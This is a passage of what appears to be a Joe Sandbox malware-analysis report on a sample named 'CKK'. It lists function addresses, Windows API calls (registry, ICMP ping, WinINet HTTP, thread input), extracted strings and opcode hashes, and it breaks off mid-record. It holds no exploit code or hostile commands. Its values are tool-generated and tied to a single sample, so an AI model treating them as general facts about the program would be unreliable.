RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00EA07BE
RegOpenKeyExW.ADVAPI32 ref: 00EA07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?), ref: 00EA0804
CLSIDFromString.OLE32(?,000001FE), ref: 00EA082C
RegCloseKey.ADVAPI32(?), ref: 00EA0837
RegCloseKey.ADVAPI32(?), ref: 00EA083C

Strings

\CLSID, xrefs: 00EA0724
\IPC$, xrefs: 00EA0784
SOFTWARE\Classes\, xrefs: 00EA070E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 1fbdc5a30241af7cdc291507b4a278bedba895f3ec3e06162eab853bb19ad72f
Instruction ID: 756f7f10579faed60af4d3b4397abe69d804afd61b8f6567174477b81f365f65
Opcode Fuzzy Hash: 1fbdc5a30241af7cdc291507b4a278bedba895f3ec3e06162eab853bb19ad72f
Instruction Fuzzy Hash: C2411A72C00129AFDF15EBA4EC858EEB7B8FF48754B145125E901B71A1DB30AD04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ED541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00ED5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00ED5515
CharNextW.USER32(00000158), ref: 00ED5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00ED5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00ED559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00ED55AC

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 928830bf6e96702ab88693edbb37c7fe01a9bfa06dff8f4634e7d946613f39a6
Instruction ID: b36c146dc1d689201712b305ea480b974bdf0ce6650046c1cc994af990970506
Opcode Fuzzy Hash: 928830bf6e96702ab88693edbb37c7fe01a9bfa06dff8f4634e7d946613f39a6
Instruction Fuzzy Hash: 39618D32901609EFDB108F55DC849FE7BB9EB05764F10514BF935BA390D7708A82DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EC055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00EC05BC
inet_addr.WSOCK32(?), ref: 00EC061C
gethostbyname.WSOCK32(?), ref: 00EC0628
IcmpCreateFile.IPHLPAPI ref: 00EC0636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00EC06C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00EC06E5
IcmpCloseHandle.IPHLPAPI(?), ref: 00EC07B9
WSACleanup.WSOCK32 ref: 00EC07BF

Strings

Ping, xrefs: 00EC0676

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 2501be166c4958f64cbc12494b6fafc744b424405d8c91d479787ceb8add7225
Instruction ID: a934fd4e5c16a680a1b7de5626ec4c7349ba41d9153cb0317ba1b4f5e9cdfe7b
Opcode Fuzzy Hash: 2501be166c4958f64cbc12494b6fafc744b424405d8c91d479787ceb8add7225
Instruction Fuzzy Hash: 5591AC34608201DFD724DF15D689F1ABBE0EF48318F1495AEE469AB6A2C731ED46CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00EC8CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00EC8CF3

Part of subcall function 00EA8E54: _wcslen.LIBCMT ref: 00EA8E77

_wcslen.LIBCMT ref: 00EC8D4E
_wcslen.LIBCMT ref: 00EC8D9C
_wcslen.LIBCMT ref: 00EC8DDC
_wcslen.LIBCMT ref: 00EC8E6E

Strings

winapi, xrefs: 00EC8D96, 00EC8D9B
none, xrefs: 00EC8E65, 00EC8E6A
cdecl, xrefs: 00EC8D48, 00EC8D4D
stdcall, xrefs: 00EC8DD6, 00EC8DDB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: 6e74fbf46b8306b90543d4e65272cda32b53a6383d5edb8cc7404a0c7a1fa702
Instruction ID: 3339b709c0a213b7b03b38cf2a9e9dc7cb5fb9e6c833d71dea169b2d9cb2cc65
Opcode Fuzzy Hash: 6e74fbf46b8306b90543d4e65272cda32b53a6383d5edb8cc7404a0c7a1fa702
Instruction Fuzzy Hash: FC518D31A001169ACB14DF68CB50ABEB7E5AF64328B20522DE426F72C5DB32ED42C790

Uniqueness

Uniqueness Score: -1.00%

Function 00EC372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00EC3774
CoUninitialize.OLE32 ref: 00EC377F
CoCreateInstance.OLE32 ref: 00EC37D9
IIDFromString.OLE32 ref: 00EC384C
VariantInit.OLEAUT32(?), ref: 00EC38E4
VariantClear.OLEAUT32 ref: 00EC3936

Strings

Invalid parameter, xrefs: 00EC3865
Failed to create object, xrefs: 00EC37E4, 00EC389A
NULL Pointer assignment, xrefs: 00EC381E

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: bdb725454fe020780ea25b7111cae830fc245dc0250e74ec6e96070d4f60c429
Instruction ID: e9d7b0446c6a16912fa1cb3767fc1d4af5852fa2e44968ab67c3ff090f670d5d
Opcode Fuzzy Hash: bdb725454fe020780ea25b7111cae830fc245dc0250e74ec6e96070d4f60c429
Instruction Fuzzy Hash: 7261BD71608301AFD314DF64D988F9ABBE4EF49714F10980EF985AB291C771EE49CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EB8195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00EB8257
SystemTimeToFileTime.KERNEL32 ref: 00EB8267
LocalFileTimeToFileTime.KERNEL32 ref: 00EB8273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00EB8310
SetCurrentDirectoryW.KERNEL32 ref: 00EB8324
SetCurrentDirectoryW.KERNEL32 ref: 00EB8356
SetCurrentDirectoryW.KERNEL32 ref: 00EB838C
SetCurrentDirectoryW.KERNEL32 ref: 00EB8395

Strings

*.*, xrefs: 00EB839B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: c753f7f1a1c615a18d02a1b5ada9234e975bb21eeedf9f1e7406e780320d50e2
Instruction ID: f7ed375c8c6cad6828da5ca2b102b2d51f1c4282a4b2064a14955e08dc69fd39
Opcode Fuzzy Hash: c753f7f1a1c615a18d02a1b5ada9234e975bb21eeedf9f1e7406e780320d50e2
Instruction Fuzzy Hash: EB616A725043059FC710EF64D84099FB3EDFF89314F04591AF989A7251EB35E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EB3388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00EB33CF

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00EB33F0

Strings

^ ERROR , xrefs: 00EB349E
Line %d (File "%s"):, xrefs: 00EB3443, 00EB345C
"%s" (%d) : ==> %s:%s%s, xrefs: 00EB3504
"%s" (%d) : ==> %s:, xrefs: 00EB3522
Error: , xrefs: 00EB34D1
Incorrect parameters to object property !, xrefs: 00EB34AB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 3c08b6af42e307bab3e9dbb9d0e5cc08b6d7bd5a9952ba0d063397227a261e9f
Instruction ID: d7190169f1d8b9aa70a09650f4b59cfb2f1075d947c484973b5de2579d271f8a
Opcode Fuzzy Hash: 3c08b6af42e307bab3e9dbb9d0e5cc08b6d7bd5a9952ba0d063397227a261e9f
Instruction Fuzzy Hash: B151A272D00209AADF15EBE0ED46EEEB3B9EF08340F205165F51572092EB356F58EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00EAB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00EAB5FC
_wcslen.LIBCMT ref: 00EAB608
_wcslen.LIBCMT ref: 00EAB64D
_wcslen.LIBCMT ref: 00EAB68C
_wcslen.LIBCMT ref: 00EAB6C7

Strings

KEYS, xrefs: 00EAB647, 00EAB64C
APPEND, xrefs: 00EAB6C1, 00EAB6C6
REMOVE, xrefs: 00EAB602, 00EAB607
EXISTS, xrefs: 00EAB686, 00EAB68B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: e1782025a3b2838c75b98c32b0351370c4c6278639a2e965d73207f51e8916f8
Instruction ID: 97223d1f27c8c40dfa3129a70fad2361a066279bc4cbae0465fd4efbd5ae2c10
Opcode Fuzzy Hash: e1782025a3b2838c75b98c32b0351370c4c6278639a2e965d73207f51e8916f8
Instruction Fuzzy Hash: B241EC32A000279BCB105F7DC8905BE77E5AFEA758B245229E421FF286E731DD81D790

Uniqueness

Uniqueness Score: -1.00%

Function 00EB5393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB53A0
GetDiskFreeSpaceW.KERNEL32 ref: 00EB5416
GetLastError.KERNEL32 ref: 00EB5420
SetErrorMode.KERNEL32(00000000), ref: 00EB54A7

Strings

INVALID, xrefs: 00EB5459
READONLY, xrefs: 00EB5452
NOTREADY, xrefs: 00EB544B
READY, xrefs: 00EB5460, 00EB5468
UNKNOWN, xrefs: 00EB5444

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 66080c257d91e04a68380c5e0f189d1bf3b751b5830d9ac7343956cdc4b26ece
Instruction ID: 0bbb4fc5ee9c83fd06890bc0d1ba6193be72887f5061cb1e4f5a4afd4c2a329d
Opcode Fuzzy Hash: 66080c257d91e04a68380c5e0f189d1bf3b751b5830d9ac7343956cdc4b26ece
Instruction Fuzzy Hash: 2A31B036A006059FD710DF68D884BEBBBF4EF45309F149066E416EB292DB71DD86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EAB12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EAB151
GetForegroundWindow.USER32 ref: 00EAB165
GetWindowThreadProcessId.USER32(00000000), ref: 00EAB16C
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00EAB17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00EAB18D
AttachThreadInput.USER32(?,00000000,00000001), ref: 00EAB1A6
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00EAB1B8
AttachThreadInput.USER32(00000000,00000000), ref: 00EAB1FD
AttachThreadInput.USER32(?,?,00000000), ref: 00EAB212
AttachThreadInput.USER32(00000000,?,00000000), ref: 00EAB21D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 04ad2d3224992846975bc28a5c81e2d6e5859f776144f2f1f35fd4fbd7369c98
Instruction ID: f0822bf3b4f0d7e82295bd6f07cec7db2943c219d6b01ddf250a87c85db891df
Opcode Fuzzy Hash: 04ad2d3224992846975bc28a5c81e2d6e5859f776144f2f1f35fd4fbd7369c98
Instruction Fuzzy Hash: E431C371501208BFDB109F25EC44BAD7BA9FB5A399F219006F911FA1A1D7B4AD40CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00E72C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E72C94

Part of subcall function 00E729C8: HeapFree.KERNEL32(00000000,00000000), ref: 00E729DE
Part of subcall function 00E729C8: GetLastError.KERNEL32 ref: 00E729F0

_free.LIBCMT ref: 00E72CA0
_free.LIBCMT ref: 00E72CAB
_free.LIBCMT ref: 00E72CB6
_free.LIBCMT ref: 00E72CC1
_free.LIBCMT ref: 00E72CCC
_free.LIBCMT ref: 00E72CD7
_free.LIBCMT ref: 00E72CE2
_free.LIBCMT ref: 00E72CED
_free.LIBCMT ref: 00E72CFB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0ea7052e6284c5cdb9968ca086c152bb3e670ea06441eb6623965e2d45fb8f9e
Instruction ID: 3a2aae6ce47a1cb69755843b8c97b571b5a9609d963a5aa2637e0a22983ddb2f
Opcode Fuzzy Hash: 0ea7052e6284c5cdb9968ca086c152bb3e670ea06441eb6623965e2d45fb8f9e
Instruction Fuzzy Hash: B511A776500108AFCB02EF64D842CDD7BA5FF45350F4594A9FB4C6F222D631EE909B90

Uniqueness

Uniqueness Score: -1.00%

Function 00E41410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00E41459
OleUninitialize.OLE32 ref: 00E414F8
UnregisterHotKey.USER32(?), ref: 00E416DD
DestroyWindow.USER32 ref: 00E824B9
FreeLibrary.KERNEL32 ref: 00E8251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00E8254B

Strings

close all, xrefs: 00E41454

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: ea8927e514f49a25c849ff8b3c5be980ee2c682b2767cb6e8ce18228b879924d
Instruction ID: 247d0ed9c3b6ab31c48383703fe400d250eeeb04436db2860942dca53c3ab03f
Opcode Fuzzy Hash: ea8927e514f49a25c849ff8b3c5be980ee2c682b2767cb6e8ce18228b879924d
Instruction Fuzzy Hash: 66D18A307012128FCB19EF15E499A69F7A0BF05304F2462AEE94E7B262DB30EC52CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00EB359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00EB35E4

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

LoadStringW.USER32(00F12390,?,00000FFF,?), ref: 00EB360A

Strings

^ ERROR, xrefs: 00EB36C9
Line %d (File "%s"):, xrefs: 00EB366B
"%s" (%d) : ==> %s:%s%s, xrefs: 00EB3724
"%s" (%d) : ==> %s:, xrefs: 00EB3742
Error: , xrefs: 00EB36EF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: f94a393468cf298b46d49bdcb374926ecafdedfd1f8a5570ad2780746c09d554
Instruction ID: 062f3bf06dacd8b8dbb4651591184ac011de47535affbf2acf854f7c22fb30d0
Opcode Fuzzy Hash: f94a393468cf298b46d49bdcb374926ecafdedfd1f8a5570ad2780746c09d554
Instruction Fuzzy Hash: 5F517171D00219BADF15EBA0EC42EEEBBB4EF04304F146125F51572192DB316B99DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8B02 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

Part of subcall function 00E5912D: GetCursorPos.USER32(?), ref: 00E59141
Part of subcall function 00E5912D: ScreenToClient.USER32(00000000,?), ref: 00E5915E
Part of subcall function 00E5912D: GetAsyncKeyState.USER32 ref: 00E59183
Part of subcall function 00E5912D: GetAsyncKeyState.USER32 ref: 00E5919D

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00ED8B6B
ImageList_EndDrag.COMCTL32 ref: 00ED8B71
ReleaseCapture.USER32 ref: 00ED8B77
SetWindowTextW.USER32 ref: 00ED8C12
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00ED8C25
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00ED8CFF

Strings

@GUI_DROPID, xrefs: 00ED8C51
@GUI_DRAGFILE, xrefs: 00ED8C9A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 395c5698c7a2297fecf1b8fa5d1284b5133af0da7c964130e5bf13cff2c36e02
Instruction ID: a169a562c1efb29a4ca07d099ee420b6cc4e5d740f2ed2207c0960e94d552e00
Opcode Fuzzy Hash: 395c5698c7a2297fecf1b8fa5d1284b5133af0da7c964130e5bf13cff2c36e02
Instruction Fuzzy Hash: 5451BD70205304AFD714DF14ED56FAAB7E4FB88754F50162EFA52A72E2CB709908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00EBC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00EBC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EBC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00EBC2CA
GetLastError.KERNEL32 ref: 00EBC322
SetEvent.KERNEL32 ref: 00EBC336
InternetCloseHandle.WININET(00000000), ref: 00EBC341

Strings

, xrefs: 00EBC2BB

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 9014e2d29b3639eae70fa05e23f8fbe997609ae97b66f551bc5af3af50d66ebe
Instruction ID: 60db359300a64e65523e288ee972d3946d387bf5b4953c92321809d92e7aae95
Opcode Fuzzy Hash: 9014e2d29b3639eae70fa05e23f8fbe997609ae97b66f551bc5af3af50d66ebe
